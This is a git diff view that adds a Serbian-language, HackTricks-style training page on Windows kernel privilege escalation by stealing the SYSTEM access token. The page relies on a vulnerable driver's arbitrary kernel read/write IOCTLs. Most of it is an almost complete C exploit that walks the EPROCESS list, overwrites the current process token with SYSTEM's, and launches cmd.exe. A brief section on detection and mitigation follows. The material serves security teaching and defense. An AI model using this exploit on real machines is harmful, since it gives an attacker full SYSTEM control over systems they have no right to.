- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pregled
|
||||
|
||||
Ako ranjivi driver izlaže IOCTL koji napadaču daje proizvoljne kernel read i/ili write primitivе, elevacija na NT AUTHORITY\SYSTEM se često može postići krađom SYSTEM access tokena. Tehnika kopira Token pokazivač iz SYSTEM procesa’ EPROCESS u trenutni proces’ EPROCESS.
|
||||
|
||||
Zašto radi:
|
||||
- Svaki process ima EPROCESS strukturu koja sadrži (između ostalog) Token (zapravo EX_FAST_REF ka token objektu).
|
||||
- SYSTEM proces (PID 4) drži token sa svim privilegijama uključenim.
|
||||
- Zamena trenutnog process’ EPROCESS.Token sa SYSTEM token pokazivačem odmah čini da trenutni proces radi kao SYSTEM.
|
||||
|
||||
> Offsets u EPROCESS variraju između verzija Windowsa. Odredite ih dinamički (symbols) ili koristite constants specifične za verziju. Takođe zapamtite da je EPROCESS.Token EX_FAST_REF (donja 3 bita su flagovi za reference count).
|
||||
|
||||
## Koraci na visokom nivou
|
||||
|
||||
1) Pronađite ntoskrnl.exe base i rešite adresu PsInitialSystemProcess.
|
||||
- Iz user mode-a, koristite NtQuerySystemInformation(SystemModuleInformation) ili EnumDeviceDrivers da dobijete učitane driver baze.
|
||||
- Dodajte offset PsInitialSystemProcess (iz symbols/reversing) na kernel base da biste dobili njegovu adresu.
|
||||
2) Pročitajte pokazivač na PsInitialSystemProcess → ovo je kernel pokazivač na SYSTEM-ov EPROCESS.
|
||||
3) Iz SYSTEM EPROCESS-a, pročitajte UniqueProcessId i ActiveProcessLinks offset-e da biste prešli dvostruko povezanu listu EPROCESS struktura (ActiveProcessLinks.Flink/Blink) dok ne nađete EPROCESS čiji je UniqueProcessId jednak GetCurrentProcessId(). Sačuvajte oba:
|
||||
- EPROCESS_SYSTEM (za SYSTEM)
|
||||
- EPROCESS_SELF (za trenutni proces)
|
||||
4) Pročitajte SYSTEM token vrednost: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Maskirajte donja 3 bita: Token_SYS_masked = Token_SYS & ~0xF (obično ~0xF ili ~0x7 u zavisnosti od build-a; na x64 donja 3 bita se koriste — 0xFFFFFFFFFFFFFFF8 maska).
|
||||
5) Opcija A (uobičajeno): Sačuvajte donja 3 bita iz vašeg trenutnog tokena i spojite ih na SYSTEM-ov pokazivač da biste održali ugrađeni ref count konzistentnim.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Zapišite Token_NEW nazad u (EPROCESS_SELF + TokenOffset) koristeći vaš kernel write primitiv.
|
||||
7) Vaš trenutni proces je sada SYSTEM. Po želji pokrenite novi cmd.exe ili powershell.exe da potvrdite.
|
||||
|
||||
## Pseudokod
|
||||
|
||||
Ispod je kostur koji koristi samo dva IOCTL-a iz ranjivog driver-a, jedan za 8-byte kernel read i jedan za 8-byte kernel write. Zamenite sa interfejsom vašeg drajvera.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Napomene:
|
||||
- Offseti: Koristite WinDbg’s `dt nt!_EPROCESS` sa ciljanim PDB-ovima, ili runtime symbol loader-om, da biste dobili ispravne offset-e. Nemojte ih slepo hardkodovati.
|
||||
- Maska: Na x64 token je EX_FAST_REF; najniža 3 bita su bita za referentni brojač. Zadržavanje originalnih niskih bitova iz vašeg tokena izbegava neposredne refcount neusaglašenosti.
|
||||
- Stabilnost: Poželjno je elevirati trenutni proces; ako elevirate kratkotrajnog helper-a, možete izgubiti SYSTEM kada on izađe.
|
||||
|
||||
## Otkrivanje i ublažavanje
|
||||
- Učitavanje unsigned ili nepouzdanih third‑party drajvera koji otkrivaju moćne IOCTLs je osnovni uzrok.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard i pravila Attack Surface Reduction mogu sprečiti učitavanje ranjivih drajvera.
|
||||
- EDR može pratiti sumnjive IOCTL sekvence koje implementiraju arbitrary read/write i zamene tokena.
|
||||
|
||||
## References
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user